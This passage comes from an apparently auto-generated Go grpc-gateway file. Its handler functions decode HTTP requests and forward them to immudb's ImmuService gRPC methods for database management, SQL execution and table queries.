\"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.CreateDatabaseWith(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_CreateDatabaseWith_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DatabaseSettings\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.CreateDatabaseWith(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_CreateDatabaseV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CreateDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.CreateDatabaseV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_CreateDatabaseV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CreateDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.CreateDatabaseV2(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_LoadDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq LoadDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.LoadDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_LoadDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq LoadDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.LoadDatabase(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_UnloadDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq UnloadDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.UnloadDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_UnloadDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq UnloadDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.UnloadDatabase(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_DeleteDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DeleteDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.DeleteDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_DeleteDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DeleteDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.DeleteDatabase(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.DatabaseList(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_DatabaseList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.DatabaseList(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_DatabaseListV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DatabaseListRequestV2\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.DatabaseListV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_DatabaseListV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DatabaseListRequestV2\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.DatabaseListV2(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_UseDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq Database\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"databaseName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"databaseName\")\n\t}\n\n\tprotoReq.DatabaseName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"databaseName\", err)\n\t}\n\n\tmsg, err := client.UseDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_UseDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq Database\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"databaseName\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"databaseName\")\n\t}\n\n\tprotoReq.DatabaseName, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"databaseName\", err)\n\t}\n\n\tmsg, err := server.UseDatabase(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_UpdateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DatabaseSettings\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.UpdateDatabase(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_UpdateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DatabaseSettings\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.UpdateDatabase(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_UpdateDatabaseV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq UpdateDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.UpdateDatabaseV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_UpdateDatabaseV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq UpdateDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.UpdateDatabaseV2(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.GetDatabaseSettings(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_GetDatabaseSettings_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.GetDatabaseSettings(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_GetDatabaseSettingsV2_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DatabaseSettingsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.GetDatabaseSettingsV2(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_GetDatabaseSettingsV2_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq DatabaseSettingsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.GetDatabaseSettingsV2(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nvar (\n\tfilter_ImmuService_FlushIndex_0 = &utilities.DoubleArray{Encoding: map[string]int{}, Base: []int(nil), Check: []int(nil)}\n)\n\nfunc request_ImmuService_FlushIndex_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq FlushIndexRequest\n\tvar metadata runtime.ServerMetadata\n\n\tif err := req.ParseForm(); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\tif err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_FlushIndex_0); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.FlushIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_FlushIndex_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq FlushIndexRequest\n\tvar metadata runtime.ServerMetadata\n\n\tif err := req.ParseForm(); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\tif err := runtime.PopulateQueryParameters(&protoReq, req.Form, filter_ImmuService_FlushIndex_0); err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.FlushIndex(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := client.CompactIndex(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_CompactIndex_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := server.CompactIndex(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_SQLExec_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SQLExecRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.SQLExec(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_SQLExec_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SQLExecRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.SQLExec(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_UnarySQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SQLQueryRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.UnarySQLQuery(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_UnarySQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq SQLQueryRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.UnarySQLQuery(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_SQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (ImmuService_SQLQueryClient, runtime.ServerMetadata, error) {\n\tvar protoReq SQLQueryRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tstream, err := client.SQLQuery(ctx, &protoReq)\n\tif err != nil {\n\t\treturn nil, metadata, err\n\t}\n\theader, err := stream.Header()\n\tif err != nil {\n\t\treturn nil, metadata, err\n\t}\n\tmetadata.HeaderMD = header\n\treturn stream, metadata, nil\n\n}\n\nfunc request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := client.ListTables(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_ListTables_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq emptypb.Empty\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := server.ListTables(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_DescribeTable_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq Table\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.DescribeTable(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_DescribeTable_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq Table\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.DescribeTable(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_VerifiableSQLGet_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableSQLGetRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.VerifiableSQLGet(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_ImmuService_VerifiableSQLGet_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq VerifiableSQLGetRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := server.VerifiableSQLGet(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_ImmuService_TruncateDatabase_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq TruncateDatabaseRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tmsg, err := client.TruncateDatabase(ctx, 